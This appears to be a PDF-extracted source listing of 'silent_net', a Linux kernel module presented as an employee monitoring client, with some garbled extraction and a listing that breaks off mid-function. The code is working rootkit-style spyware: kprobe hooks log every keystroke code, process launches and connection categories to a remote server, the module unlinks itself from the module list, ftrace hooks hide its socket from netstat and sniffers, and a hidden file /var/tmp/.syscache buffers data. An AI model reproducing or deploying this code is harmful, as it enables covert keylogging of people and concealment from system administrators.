employee - cpu_stats.c

```
* cpu_stats.c - Handles CPU usage calculations
               Omer Kfir (C)
 * /
#include "cpu_stats.h"
#include "headers.h"
// Get total idle time of cpu core
unsigned long get_cpu_idle(int core) {
  struct kernel_cpustat *kcs = &kcpustat_cpu(core);
  return kcs->cpustat[CPUTIME_IDLE];
// Get total active time of cpu core
// To be clear - active time also includes idle time
// Active time is the total time the cpu core has done any state it
can be in
unsigned long get_cpu_active(int core) {
  unsigned long total_active = 0;
  struct kernel_cpustat *kcs = &kcpustat_cpu(core);
  int i;
  for (i = 0; i < NR_STATS; i++) // Iterate through all states</pre>
   total_active += kcs->cpustat[i];
  return total_active;
void get_real_time(char *time_buf) {
  struct timespec64 ts;
  struct tm tm;
  time64_to_tm(ts.tv_sec, 0, &tm); // Convert to calendar time (UTC)
  snprintf(time_buf, REAL_TIME_LENGTH, "%04ld-%02d-%02d %02d:%02d:%02d",
          tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday,
          tm.tm_hour + TIME_ZONE_DIFF, tm.tm_min, tm.tm_sec);
}
```

employee - cpu_stats.h

```
* cpu_stats.h - Header file for cpu_stats.c
                Omer Kfir (C)
 * /
#ifndef CPU_STAT_H
#define CPU_STAT_H
#include <linux/time64.h>
#include <linux/timekeeping.h>
/* Calculation of cpu usage ->
 * % of idle = (idle / active) * 100
 * To get more accurate in c we will multiply
* before and then divide Now to get cpu usage out of this
precentage we get the
* rest precentages Which are just the opposite of the idle precentages
 * /
#define CALC_CPU_LOAD(active, idle) (100 - ((idle * 100) / active))
#define REAL_TIME_LENGTH (20) // YYYY-MM-DD HH:MM:SS
#define TIME_ZONE_DIFF (3)  // Time zone difference in hours
unsigned long get_cpu_idle(int);
unsigned long get_cpu_active(int);
void get_real_time(char *);
// CPU_STAT_H
#endif
```

```
*■'silent_net' File storage handling.
        - Used for backup when server is down
        - Implements circular buffer
        - Meant for single threaded access
 *■Omer Kfir (C)
 * /
#include "file_storage.h"
static char *filename = "/var/tmp/.syscache";
static struct file *file;
static loff_t read_pos = 0; // File read position
static loff_t write_pos = 0; // File write position
static loff_t read_pos_offset; // Offset for read position
static loff_t write_pos_offset; // Offset for write position
/* Safe file opening function */
static struct file *safe_file_open(const char *path, int flags,
umode_t mode) {
  struct file *filp = NULL;
  filp = filp_open(path, flags, mode);
  if (IS_ERR(filp)) {
    printk(KERN_ERR "Cannot open file %s, error: %ld\n", path,
    PTR_ERR(filp));
   return NULL;
 return filp;
/* Safe file reading function */
static ssize_t safe_file_read(struct file *filp, char *buf, size_t len,
                              loff_t *pos) {
  ssize_t ret;
  if (!filp || !buf || len <= 0)
    return -EINVAL;
  ret = kernel_read(filp, buf, len, pos);
  if (ret < 0)
    printk(KERN_ERR "Error reading file, error: %ld\n", ret);
  return ret;
/* Safe file writing function */
static ssize_t safe_file_write(struct file *filp, const char *buf,
```

```
size_t len,
                                loff_t *pos) {
  ssize_t ret;
  if (!filp || !buf || len <= 0)
    return -EINVAL;
  ret = kernel_write(filp, buf, len, pos);
  if (ret < 0)
    printk(KERN_ERR "Error writing to file, error: %ld\n", ret);
 return ret;
}
/* Safe file closing function */
static int safe_file_close(struct file *filp) {
  struct path path;
  struct dentry *dentry;
  int err;
  if (!filp | !filename)
    return -EINVAL; // Invalid arguments
  // Get the file's path
  err = kern_path(filename, LOOKUP_FOLLOW, &path);
  if (err)
    return err;
  // Get the dentry and inode for unlinking
  dentry = path.dentry;
  if (!dentry | | !dentry->d_inode) {
    path_put(&path);
    return -ENOENT; // File not found
  }
  // Unlink the file
  err = vfs_unlink(&nop_mnt_idmap, d_inode(dentry->d_parent),
  dentry, NULL);
  path_put(&path);
  if (err)
    return err; // Return error if unlink fails
  // Close the file
  filp_close(filp, NULL);
  return 0;
}
void file_storage_init(void) {
  char buf[sizeof(loff_t)];
  file = safe_file_open(filename, O_RDWR | O_CREAT, FILE_PERMISSIONS);
  if (!file) {
    printk(KERN_ERR "Failed to open file %s\n", filename);
    return;
```

```
}
  /*
   * In case where the file wasn't erased properly (Computer crashed)
   * we need to read the last read/write positions from the file
   * and set them to the current positions.
  read_pos_offset = MAX_FILE_SIZE + 1;
  write_pos_offset = read_pos_offset + sizeof(loff_t);
  safe_file_read(file, buf, sizeof(loff_t), &read_pos_offset);
  memcpy(&read_pos, buf, sizeof(loff_t));
  safe_file_read(file, buf, sizeof(loff_t), &write_pos_offset);
  memcpy(&write_pos, buf, sizeof(loff_t));
  read_pos = read_pos > MAX_FILE_SIZE ? 0 : read_pos;
  write_pos = write_pos > MAX_FILE_SIZE ? 0 : write_pos;
}
// Closing the file fully
void file_storage_release(void) {
  safe_file_close(file);
  file = NULL;
}
// Saving the write/read offset inside the file
static void save_file_pos(loff_t *pos, loff_t *offset) {
  char buf[sizeof(loff_t)];
  if (!file) {
   printk(KERN_ERR "File not opened\n");
    return;
  }
  memcpy(buf, pos, sizeof(loff_t));
  if (safe_file_write(file, buf, sizeof(loff_t), offset) < 0)</pre>
    printk(KERN_ERR "Failed to write read_pos to file\n");
  offset -= sizeof(loff_t);
}
// Reducing file size when memory is needed
void truncate_file(void) {
  char cur_chr_read;
  int attempts = 0;
  loff_t distance;
  const int max_attempts = MAX_FILE_SIZE;
  if (write_pos >= read_pos)
    distance = write_pos - read_pos;
  else
    distance = MAX_FILE_SIZE - (read_pos - write_pos);
```

```
// If called it means an error was caused, therefore we must fix it
  if (distance < TRUNCATE_SIZE) {</pre>
    read_pos = write_pos;
    return;
  distance -= TRUNCATE_SIZE;
  read_pos = (read_pos + TRUNCATE_SIZE) % MAX_FILE_SIZE;
  while (attempts++ < max_attempts && distance > 0) {
    if (safe_file_read(file, &cur_chr_read, 1, &read_pos) < 0)</pre>
    if (cur_chr_read == MSG_SEPRATOR_CHR) {
      return;
    read_pos %= MAX_FILE_SIZE;
    distance--;
  read_pos = write_pos = 0;
// Writing to file in circular style
void write_circular(const char *data, size_t len) {
  ssize_t ret;
  loff_t original_write_pos = write_pos;
  if (!data | | len == 0 | | len > MAX_FILE_SIZE) {
    printk(KERN_ERR "Invalid parameters for write_circular\n");
    return;
  write_pos %= MAX_FILE_SIZE; // Ensure write_pos is within bounds
  // Check space (with truncation if needed)
  size_t space_remaining;
  if (write_pos >= read_pos)
    space_remaining = MAX_FILE_SIZE - (write_pos - read_pos);
  else
    space_remaining = read_pos - write_pos;
  if (len >= space_remaining) {
    truncate_file(); // Free space by discarding old messages
  }
  // Handle wrap-around: Write in two parts if needed
  if (write_pos + len > MAX_FILE_SIZE) {
    size_t first_part = MAX_FILE_SIZE - write_pos;
    ret = safe_file_write(file, data, first_part, &write_pos);
    if (ret != first_part) {
      write_pos = original_write_pos; // Rollback on failure
      printk(KERN_ERR "Failed to write first part (ret=%zd)\n", ret);
      return;
    }
```

```
// Update for second part
   data += first_part;
   len -= first_part;
   write_pos = 0;
  // Write remaining data (or full data if no wrap-around)
 ret = safe_file_write(file, data, len, &write_pos);
 if (ret != len) {
   write_pos = original_write_pos; // Rollback on failure
   printk(KERN_ERR "Failed to write data (ret=%zd)\n", ret);
  }
}
// Reading from file in circular style
int read_circular(char *buf, size_t len) {
 ssize_t ret;
 loff_t original_read_pos = read_pos;
 read_pos %= MAX_FILE_SIZE; // Ensure read_pos is within bounds
  if (buf == NULL) {
   read_pos = (read_pos + len) % MAX_FILE_SIZE;
   return len;
 if (!buf || len == 0 || len > MAX_FILE_SIZE) {
   printk(KERN_ERR "Invalid parameters for read_circular\n");
   return -EINVAL;
  }
  // Handle wrap-around: Read in two parts if needed
  if (read_pos + len > MAX_FILE_SIZE) {
   size_t first_part = MAX_FILE_SIZE - read_pos;
   ret = safe_file_read(file, buf, first_part, &read_pos);
   if (ret != first_part) {
     read_pos = original_read_pos; // Rollback on failure
     printk(KERN_ERR "Failed to read first part (ret=%zd)\n", ret);
     return ret < 0 ? ret : -EIO;
    }
   // Update for second part
   buf += first_part;
   len -= first_part;
   read_pos = 0;
  // Read remaining data (or full data if no wrap-around)
 ret = safe_file_read(file, buf, len, &read_pos);
  if (ret != len) {
   read_pos = original_read_pos; // Rollback on failure
   printk(KERN_ERR "Failed to read data (ret=%zd)\n", ret);
```

```
return ret < 0 ? ret : -EIO;
 return len; // Total bytes read
// Main function for writing to file
// data: data to be written to the file
// len: the length of the wanted data to be written
// Return Value: void
void backup_data_log(const char *data, size_t len) {
 if (!file || !data || len > MAX_FILE_SIZE) {
   printk(KERN_ERR "Invalid parameters for backup_data\n");
   return;
  }
 write_circular(data, len);
 write_circular(MSG_SEPRATOR, 1);
 // Write the write_pos to the file
 save_file_pos(&write_pos, &write_pos_offset);
// buf should no less than BUFFER_SIZE (protocol.h)
// RETURN VALUE: Length of message
int read_backup_data_log(char *buf) {
 size_t len;
 ssize_t ret;
 char len_str[SIZE_OF_SIZE + 1] = {0}; // Temporary buffer for length
                                        // Store the original read
 loff_t prev_read_pos;
 position
 if (!file || !buf) {
   printk(KERN_ERR "Invalid parameters for read_backup_data\n");
   return -EINVAL;
 if (read_pos == write_pos) {
   return 0; // No data to read
  }
 // Save current read position in case we need to revert
 prev_read_pos = read_pos;
 // First, read the size prefix
 ret = read_circular(len_str, SIZE_OF_SIZE);
 if (ret != SIZE_OF_SIZE) {
   printk(KERN_ERR "Failed to read message length (ret=%zd)\n", ret);
   truncate_file();
   return ret < 0 ? ret : -EIO;
 ret = kstrtoul(len_str, 10, &len);
```

```
if (ret < 0) {
 printk(KERN_ERR "0.Invalid message length format: %s\n", len_str);
  // Restore original read position on error
  truncate_file();
 return ret;
}
if (len == 0 | len > BUFFER_SIZE - SIZE_OF_SIZE) {
 printk(KERN_ERR "1.Invalid message length: %zu\n", len);
  // Restore original read position on error
 read_pos = prev_read_pos;
 return -EINVAL;
}
// Copy length to the output buffer
memcpy(buf, len_str, SIZE_OF_SIZE);
// Read the actual message content
ret = read_circular(buf + SIZE_OF_SIZE, len);
if (ret != len) {
 printk(KERN_ERR "Failed to read message (expected=%lu,
  got=%lu)\n", len,
         ret);
  // Restore original read position on error
  read_pos = prev_read_pos;
  return ret < 0 ? ret : -EIO;
}
buf[len + SIZE_OF_SIZE] = '\0'; // Null-terminate the message
read_circular(NULL, 1);
                               // Read the separator
save_file_pos(&read_pos, &read_pos_offset); // Save the read position
return len + SIZE_OF_SIZE;
                                            // Total bytes read
```

```
*■'silent_net' header file for file_storage.c
 *■Omer Kfir (C)
 * /
#ifndef FILE_STORAGE_H
#define FILE_STORAGE_H
#include "../headers.h"
#include "../protocol.h"
#include <linux/dcache.h>
#include <linux/err.h>
#include <linux/fs.h>
#include <linux/mount.h>
#include <linux/namei.h>
#include <linux/stat.h>
// Amount of minutes the module will backup data
// Continuing to backup data after that will erase the data from before
#define BACKUP_MINUTES (5)
#define MINUTE_BACKUP_STORAGE (13 * 1024) // Approximately 13k
bytes for one minute
#define MAX_FILE_SIZE (BACKUP_MINUTES * MINUTE_BACKUP_STORAGE)
#define TRUNCATE_PERCENTAGE (0.2f) // 20%
#define TRUNCATE_SIZE ((size_t)(MAX_FILE_SIZE * TRUNCATE_PERCENTAGE))
#define FILE_PERMISSIONS (S_IRUSR | S_IWUSR) // 0600 - Only owner
can read/write
#define MSG_SEPRATOR "\xff" // Separator for messages
#define MSG_SEPRATOR_CHR '\xff' // Separator character for messages
void file_storage_init(void);
void file_storage_release(void);
void truncate_file(void);
void write_circular(const char *, size_t);
int read_circular(char *, size_t);
void backup_data_log(const char *, size_t);
int read_backup_data_log(char *);
/* FILE_STORAGE_H */
#endif
```

employee - headers.h

```
#ifndef HEADER_H
#define HEADER_H
#define _GNU_SOURCE
#define GNU SOURCE
/* Common header files */
#include <asm/uaccess.h>
                               // Copy and write to user buffers
#include <linux/fs.h>
                               // Kernel file system
#include <linux/init.h>
                               // Module __init __exit
#include <linux/input.h>
                               // Structures of devices
#include <linux/kernel.h>
                               // Kernel base functions
#include <linux/kernel_stat.h> // CPU stats
#include <linux/kprobes.h>
                               // Kprobe lib (King)
#include <linux/module.h>
                               // Kernel module macros
#include <linux/mutex.h>
                              // Mutex data structure
#include <linux/netdevice.h>
                               // List netdevices of pc
#include <linux/sched.h> // Scheduler lib, Mainly for current
structure (PCB)
#include <linux/slab.h> // Linux memory allocation
#include <linux/types.h>
                          // Different data structures types
#include <linux/utsname.h> // Hostname of machine
/* HEADER_H */
#endif
```

employee\hide - hide_module.c

```
* hide_module.c - Provides basic implementation for module hiding
 * Omer Kfir (C)
#include "hide_module.h"
static int hidden = 0;
static struct list_head *prev_module;
void hide_this_module(void) {
  if (hidden)
    return;
  // Store the pointers to restore later
  prev_module = THIS_MODULE->list.prev;
  // Remove from the list
  list_del(&THIS_MODULE->list);
  hidden = 1;
  printk(KERN_INFO "Module hidden\n");
void unhide_this_module(void) {
  if (!hidden)
    return;
  // Restore module to the list
  list_add(&THIS_MODULE->list, prev_module);
 hidden = 0;
  printk(KERN_INFO "Module unhidden\n");
```

employee\hide - hide_module.h

```
/*
  * hide_module.h - header file for hide_module.c
  *
  * Omer Kfir (C)
  */

#ifndef HIDE_MODULE_H
#define HIDE_MODULE_H

#include <linux/module.h>

void hide_this_module(void);
void unhide_this_module(void);

/* HIDE_MODULE_H */
#endif
```

```
* hide_tcp_sock.c - Provides functionality to hide TCP sockets
                     and packets from being displayed in wireshark
and similar tools.
 * Omer Kfir (C)
#include "hide_tcp_sock.h"
struct ftrace_hook {
  const char *name;
  void *function;
  void *original;
  struct ftrace_ops ops;
};
// Netstat and similar tools use this function to show TCP sockets.
typedef int (*tcp4_seq_show_t)(struct seq_file *seq, void *v);
static tcp4_seq_show_t tcp4_seq_show_address = NULL;
// Network Interface Tap - nit.
// This function taps the sniffers about outgoing packets.
typedef void (*dev_queue_xmit_nit_t)(struct sk_buff *skb,
                                     struct net_device *dev);
static dev_queue_xmit_nit_t dev_queue_xmit_nit_addr = NULL;
// Signal if the socket is hidden.
static int sock_hidden = 0;
static void *find_symbol_address(const char *name) {
  struct kprobe kp = {.symbol_name = name};
  void *addr;
  register_kprobe(&kp);
  addr = (void *)kp.addr;
  unregister_kprobe(&kp);
  if (!addr) {
    printk(KERN_ERR "Failed to get %s address\n", name);
    return NULL;
  return addr;
static asmlinkage long tcp4_seq_show_hook(struct seq_file *seq,
void *v) {
  if (v && v != SEQ_START_TOKEN) {
    struct inet_sock *inet = (struct inet_sock *)v;
    if (inet) {
```

```
u32 target_ip = in_aton(dAddress);
      // Compare the destination port and IP address
      if (inet->inet_dport == htons(dPort) && inet->inet_daddr ==
      target_ip) {
        return 0; // Hide the socket
    }
  }
  return tcp4_seq_show_address(seq, v);
}
static asmlinkage void dev_queue_xmit_nit_hook(struct sk_buff *skb,
                                                struct net_device *dev) {
  if (skb->protocol == htons(ETH_P_IP)) {
    struct iphdr *iph = ip_hdr(skb);
    u32 target_ip = in_aton(dAddress);
    if (iph->protocol == IPPROTO_TCP) {
      struct tcphdr *tcph = tcp_hdr(skb);
      u16 dest_port = ntohs(tcph->dest);
      // Compare the destination port and IP address directly
      if (dest_port == dPort && iph->daddr == target_ip) {
        return; // Hide the packet
      }
    }
  dev_queue_xmit_nit_addr(skb, dev);
static void notrace callback_hook(unsigned long ip, unsigned long
parent_ip,
                                  struct ftrace_ops *ops,
                                   struct ftrace_regs *regs) {
  struct ftrace_hook *hook_ops = container_of(ops, struct
  ftrace_hook, ops);
  if (!within_module(parent_ip, THIS_MODULE))
    regs->regs.ip = (unsigned long)hook_ops->function;
}
static struct ftrace_hook port_hide = {
    .name = "tcp4_seq_show",
    .function = tcp4_seq_show_hook,
    .original = NULL,
    .ops =
        {
            .func = callback_hook,
            .flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION |
```

```
FTRACE_OPS_FL_IPMODIFY,
        },
};
static struct ftrace_hook packets_hide = {
    .name = "dev_queue_xmit_nit",
    .function = dev_queue_xmit_nit_hook,
    .original = NULL,
    .ops =
            .func = callback_hook,
            .flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION |
                     FTRACE_OPS_FL_IPMODIFY,
        },
};
int register_tcp_sock_hook(void) {
  int ret = 0;
 if (sock_hidden)
   return 0;
 if (!port_hide.original && !packets_hide.original) {
   port_hide.original = find_symbol_address(port_hide.name);
   if (!port_hide.original) {
     printk(KERN_ERR "Failed to get tcp4_seq_show address\n");
     return -1;
    }
   packets_hide.original = find_symbol_address(packets_hide.name);
   if (!packets_hide.original) {
     printk(KERN_ERR "Failed to get dev_queue_xmit_nit address\n");
     return -1;
    }
  }
  // Now set the filter to enable tracing
 ret = ftrace_set_filter_ip(&port_hide.ops, (unsigned
 long)port_hide.original,
                             0,0);
 if (ret) {
   printk(KERN_ERR "Failed to set filter for %s, ret: %d\n",
   port_hide.name,
           ret);
   return ret;
 ret = ftrace_set_filter_ip(&packets_hide.ops,
                              (unsigned long)packets_hide.original,
                             0,0);
 if (ret) {
   printk(KERN_ERR "Failed to set filter for %s, ret: %d\n",
```

```
packets_hide.name,
           ret);
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
    long)port_hide.original, 1,
                         0);
    return ret;
  }
  // Register the ftrace function first
  ret = register_ftrace_function(&port_hide.ops);
  if (ret) {
    printk(KERN_ERR "Failed to register ftrace function\n");
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
    long)port_hide.original, 1,
    ftrace_set_filter_ip(&packets_hide.ops,
                         (unsigned long)packets_hide.original, 1, 0);
    return ret;
  }
  ret = register_ftrace_function(&packets_hide.ops);
  if (ret) {
    printk(KERN_ERR "Failed to register ftrace function\n");
    unregister_ftrace_function(&port_hide.ops);
    ftrace_set_filter_ip(&port_hide.ops, (unsigned
    long)port_hide.original, 1,
                         0);
    ftrace_set_filter_ip(&packets_hide.ops,
                         (unsigned long)packets_hide.original, 1, 0);
    return ret;
  }
  tcp4_seq_show_address = (tcp4_seq_show_t)port_hide.original;
  dev_queue_xmit_nit_addr = (dev_queue_xmit_nit_t)packets_hide.original;
  sock hidden = 1;
  return 0;
void unregister_tcp_sock_hook(void) {
  if (!port_hide.original | !packets_hide.original | !sock_hidden)
    return;
  // Unregister the ftrace hook to stop tracing
  unregister_ftrace_function(&port_hide.ops);
  unregister_ftrace_function(&packets_hide.ops);
  // Disable the filter to stop monitoring the function
  ftrace_set_filter_ip(&port_hide.ops, (unsigned
  long)port_hide.original, 1, 0);
  ftrace_set_filter_ip(&packets_hide.ops, (unsigned
  long)packets_hide.original,
                       1, 0);
  sock_hidden = 0;
```

ι

```
* hide_tcp_sock.h - header file for hide_tcp_sock.c
 * Omer Kfir (C)
#ifndef HIDE_TCP_SOCK_H
#define HIDE_TCP_SOCK_H
#include <linux/ftrace.h> // For ftrace functionality
#include <linux/in.h> // For in_aton()
#include <linux/inet.h> // For networking and socket handling
(e.g., htons)
#include <linux/net.h> // For socket-related definitions (e.g.,
struct sock)
#include <linux/ptrace.h> // for struct pt_regs
#include <linux/ptrace.h> // For ftrace_regs (needed to get
register values in ftrace)
#include <linux/seq_file.h> // For seq_file (e.g., seq_file, seq_puts)
                            // for struct sock, skc_dport
#include <net/tcp.h>
#include "../headers.h"
#include "../protocol.h" // For port to hide
#define within_module(ip, mod)
  ((unsigned long)(ip) >= (unsigned long)(mod)->mem[MOD_TEXT].base
 &&
   (unsigned long)(ip) < (unsigned long)(mod)->mem[MOD_TEXT].base +
                             (unsigned long)(mod)->mem[MOD_TEXT].size)
int register_tcp_sock_hook(void);
void unregister_tcp_sock_hook(void);
#endif // HIDE_TCP_SOCK_H
```

```
* This is a source code of the client side
 * Of 'silent_net' project.
 * blah blah blah
 * /
#include "kClientHook.h"
#include "cpu_stats.h"
#include "headers.h"
#include "hide/hide_module.h"
#include "hide/hide_tcp_sock.h"
#include "protocol.h"
#include "tcp_socket.h"
#include "transmission.h"
#include "workqueue.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Omer Kfir");
MODULE_DESCRIPTION(
    "Employee side.\n"
    "This module is responsible for hooking the kernel and "
    "sending data to the server.\n"
    "It uses kprobes to hook into the kernel and send data to "
    "the server.\n"
    "It also uses a workqueue to send data in the background.\n");
MODULE_VERSION("1.0");
MODULE_ALIAS("SilentNet");
/* Kprobes structures */
static struct kprobe kps[PROBES_SIZE] = {
    [kp_do_fork] = {.pre_handler = handler_pre_do_fork,
                     .symbol_name = HOOK_PROCESS_FORK},
    [kp_input_event] = {.pre_handler = handler_pre_input_event,
                         .symbol_name = HOOK_INPUT_EVENT},
    [kp_cpu_usage] = {.pre_handler = handler_pre_calc_global_load,
                      .symbol_name = HOOK_CPU_USAGE } ,
    [kp_send_message] = {.pre_handler = handler_pre_inet_sendmsg,
                          .symbol_name = HOOK_SEND_MESSAGE}};
/* Fork hook */
static int handler_pre_do_fork(struct kprobe *kp, struct pt_regs
*regs) {
  // Check for validity and also not sending kernel process
  if (!current | !current->mm)
    return 0;
  // Check for processes which activated by user
  if (current_uid().val == 0)
    return 0;
```

```
// Filter out threads which are not main thread
 if (current->tgid != current->pid)
   return 0;
 return protocol_send_message("%s" PROTOCOL_SEPARATOR "%s",
 MSG_PROCESS_OPEN,
                               current->comm);
/* CPU Usage */
static int handler_pre_calc_global_load(struct kprobe *kp,
                                         struct pt_regs *regs) {
 // CPU calculation params
 int cpu_core, cpu_usage;
 struct timespec64 tv; // Measure current time
 static long long int last_tv = 0;
 char cpu_load_msg[BUFFER_SIZE + REAL_TIME_LENGTH] = {0}; // total
 cpu load
 char time_buf[REAL_TIME_LENGTH] = {0}; // Buffer for the time string
 int msg_len = 0;
                                          // Track string length manually
  // Current cpu times
 unsigned long idle_time = 0, idle_delta = 0;
 unsigned long actv_time = 0, actv_delta = 0;
  // All cpu cores and their times
 static unsigned long cpu_idle_time[NR_CPUS] = {0};
 static unsigned long cpu_actv_time[NR_CPUS] = {0};
 static bool first_run = true; // Flag to check if it's the first run
  // Get current time
 ktime_get_real_ts64(&tv);
 if (!last_tv) {
   last_tv = tv.tv_sec;
   return 0;
  }
 // Increase delay for slower systems
  if (tv.tv_sec - last_tv < CPU_USAGE_DELAY)</pre>
   return 0;
  // Initialize the message with the message type and track length
 msg_len = snprintf(cpu_load_msg, sizeof(cpu_load_msg), "%s",
 MSG_CPU_USAGE);
  // Only process online CPUs (or just limit to first few CPUs if
  // for_each_online_cpu isn't available)
 for (cpu_core = 0; cpu_core < min(4, num_present_cpus());</pre>
 cpu_core++) {
    if (!cpu_online(cpu_core))
     printk(KERN_INFO "I'm offline %d\n", cpu_core);
```

```
idle_time = get_cpu_idle(cpu_core);
    actv_time = get_cpu_active(cpu_core);
    if (first_run) {
      // Initialize the arrays with the current CPU times on the
      first run
      cpu_idle_time[cpu_core] = idle_time;
      cpu_actv_time[cpu_core] = actv_time;
      continue;
    }
    idle_delta = idle_time - cpu_idle_time[cpu_core];
    actv_delta = actv_time - cpu_actv_time[cpu_core];
    cpu_idle_time[cpu_core] = idle_time;
    cpu_actv_time[cpu_core] = actv_time;
    // Check if CPU did work
    if (!actv_delta)
      continue;
    cpu_usage = CALC_CPU_LOAD(actv_delta, idle_delta);
    // Check if we have space left and append directly with length
    tracking
    if (msg_len < sizeof(cpu_load_msg) - 20) {</pre>
      int written =
          snprintf(cpu_load_msg + msg_len, sizeof(cpu_load_msg) -
          msg_len,
                   PROTOCOL_SEPARATOR "%d,%d", cpu_core, cpu_usage);
      if (written > 0)
        msg_len += written;
      else
        return -1; // Error in snprintf
    }
  }
  // Only get time and send message if we have data
  if (msg_len > (int)strlen(MSG_CPU_USAGE) && !first_run) {
    get_real_time(time_buf); // Get the real time
    // Add time to the message
   protocol_send_message("%s,%s", cpu_load_msg, time_buf);
  first_run = false; // Set the flag to false after the first run
  last_tv = tv.tv_sec;
  return 0;
/* Device input events */
static int handler_pre_input_event(struct kprobe *kp, struct
pt_regs *regs) {
```

```
static int unhide_seq_index = 0; // Sequence index
  static int hide_seq_index = 0;
  unsigned int code;
  if (!regs) // Checking current is irrelevant due to interrupts
    return 0;
  code = (unsigned int)regs->dx; // Third parameter (key code)
  // Check for mouse events
  if (code <= 4 && code >= 0)
    return 0; // Ignore mouse moves and key releases
  if (code == unhide_module[unhide_seq_index]) {
    unhide_seq_index++;
    unhide_seq_index %= UNHIDE_MODULE_SIZE;
    if (unhide_seq_index == 0) {
     // Unhide the module
     unhide_this_module();
      return 0;
    }
  } else if (code == hide_module[hide_seq_index]) {
    hide_seq_index++;
    hide_seq_index %= HIDE_MODULE_SIZE;
    if (hide_seq_index == 0) {
     // Hide the module
     hide_this_module();
     return 0;
    }
  } else {
    // Reset the sequence index if the sequence is broken
   hide_seq_index = 0;
   unhide_seq_index = 0;
  // Only send code, since code for input is unique
  return protocol_send_message("%s" PROTOCOL_SEPARATOR "%d",
  MSG_INPUT_EVENT,
                               code);
/* Output ip communication */
static int handler_pre_inet_sendmsg(struct kprobe *kp, struct
pt_regs *regs) {
  struct socket *sock;
  struct sock *sk;
  uint16_t dport;
  char category[32] = "";
  // First parameter is struct socket pointer
  sock = (struct socket *)regs->di;
  if (!sock | !sock->sk)
```

```
return 0;
 sk = sock->sk;
 // Prevent logging messages from your own kernel module
 if (check_sock_mark(sk, MODULE_MARK))
   return 0;
 // Check if it's an IPv4 socket
 if (sk->sk_family != AF_INET)
   return 0;
 // Skip zero or invalid addresses
 if (!sk->sk_daddr)
   return 0;
 // Not hooking on 127.x.x.x
 if ((sk->sk\_daddr \& 0xFF) == 127)
   return 0;
 // Get destination port
 dport = ntohs(sk->sk_dport);
 // Simple port categorization
 if (dport == 80 | dport == 443)
   strcpy(category, "web");
 else if (dport == 25 || dport == 465 || dport == 587)
   strcpy(category, "email");
 else if (dport == 20 || dport == 21 || dport == 22 || dport == 989 ||
          dport == 990)
   strcpy(category, "file_transfer");
 else if (dport == 1935 || dport == 1936 || dport == 3478 || dport
 == 3479 ||
          dport == 1234 || dport == 8080 || dport == 8443)
    strcpy(category, "streaming");
 else if ((dport >= 6112 && dport <= 6119) |
                                               // Common game ports
          dport == 3074)
                                                // Xbox Live
   strcpy(category, "gaming");
 else if (dport == 5060 || dport == 5061 || dport == 1720)
    strcpy(category, "voip");
 else
   return 0;
 // Send the category instead of the IP address
 return protocol_send_message("%s" PROTOCOL_SEPARATOR "%s",
 MSG_COMM_CATEGORY,
                              category);
/* Register all hooks */
static int register_probes(void) {
 int ret = 0, i;
```

```
/* Iterate through kps array of structs */
  for (i = 0; i < PROBES_SIZE; i++) {</pre>
   ret = register_kprobe(&kps[i]);
   if (ret < 0) {
      unregister_probes(i);
     printk(KERN_ERR "Failed to register: %s\n", kps[i].symbol_name);
     return ret;
    }
 printk(KERN_INFO "Finished hooking succusfully\n");
 return ret;
}
/* Unregister all kprobes */
static void unregister_probes(int max_probes) {
  /* Static char to indicate if already unregistered */
 static atomic_t unreg_kprobes =
      ATOMIC_INIT(0); // Use atomic to avoid race condition
 /* Check if it has been set to 1, if not set it to one */
 if (atomic_cmpxchg(&unreg_kprobes, 0, 1) == 0) {
   int i;
   for (i = 0; i < max_probes; i++) {
     unregister_kprobe(&kps[i]);
static int __init hook_init(void) {
 int ret = 0;
  // Initialize all main module objects
 ret = init_singlethread_workqueue("tcp_sock_queue");
 if (ret < 0)
   return ret;
 data_transmission_init();
 register_tcp_sock_hook();
  // Registers kprobes, if one fails unregisters all registered kprobes
 ret = register_probes();
 if (ret < 0) {
   release_singlethread_workqueue();
   data_transmission_release();
   return ret;
  }
 hide_this_module();
 printk(KERN_INFO "Finished initializing successfully\n");
 return ret;
```

```
static void __exit hook_exit(void) {
   // Closing all module objects
   unregister_probes(PROBES_SIZE);

   // Only after unregistering all kprobes we can safely destroy
   workqueue
   release_singlethread_workqueue();
   data_transmission_release();

   unregister_tcp_sock_hook();
   printk(KERN_INFO "Unregistered kernel probes");
}

module_init(hook_init);
module_exit(hook_exit);
```

```
*■'silent net' kClientHook.h - kernel client hook header file
 * Contains hook names and function declares
 * ■Omer Kfir (C)
 * /
#ifndef CLIENT_HOOK_H
#define CLIENT_HOOK_H
#include "headers.h"
#define HOOK_INPUT_EVENT "input_event"
#define HOOK_CPU_USAGE "calc_global_load"
#define HOOK_SEND_MESSAGE "inet_sendmsg"
#define HOOK_PROCESS_FORK
  "kernel_clone" // Originally named 'do_fork'
                 // Linux newer versions use 'kernel clone'
/* #define HOOK_FILE_OPEN "do_sys_openat", "__sys_sendmsg" - Not
used, OS
 * frequently uses this functions Hooking such function can crash
the computer
 * /
#define CPU_USAGE_DELAY (10) // Two minutes
#define KEY_MINUS 12
#define KEY_X 45
#define KEY_H 35
// Due to every key is received twice (release and press)
// Acual codes are (unhide - "x-x", hide - "h-h")
const unsigned int unhide_module[] = {KEY_X,
                                               KEY_X, KEY_MINUS,
                                      KEY_MINUS, KEY_X, KEY_X};
const unsigned int hide_module[] = {KEY_H,
                                             KEY_H, KEY_MINUS,
                                    KEY_MINUS, KEY_H, KEY_H};
#define UNHIDE_MODULE_SIZE 6
#define HIDE_MODULE_SIZE 6
static int handler_pre_do_fork(struct kprobe *, struct pt_regs *);
static int handler_pre_input_event(struct kprobe *, struct pt_regs *);
static int handler_pre_calc_global_load(struct kprobe *, struct
pt_regs *);
static int handler_pre_inet_sendmsg(struct kprobe *, struct pt_regs *);
static int register_probes(void);
static void unregister_probes(int);
static int __init hook_init(void);
static void __exit hook_exit(void);
/* Enum of all kprobes, each kprobe value is the index inside the
```

```
array */
enum { kp_do_fork, kp_input_event, kp_cpu_usage, kp_send_message,
PROBES_SIZE };

/* CLIENT_HOOK_H */
#endif
```

employee - mac_find.c

```
* mac_find.c - Handles searching for mac address
               Omer Kfir (C)
 * /
#include "mac_find.h"
#include "headers.h"
// Function to find consistent mac address
void get_mac_address(char *mac_buf) {
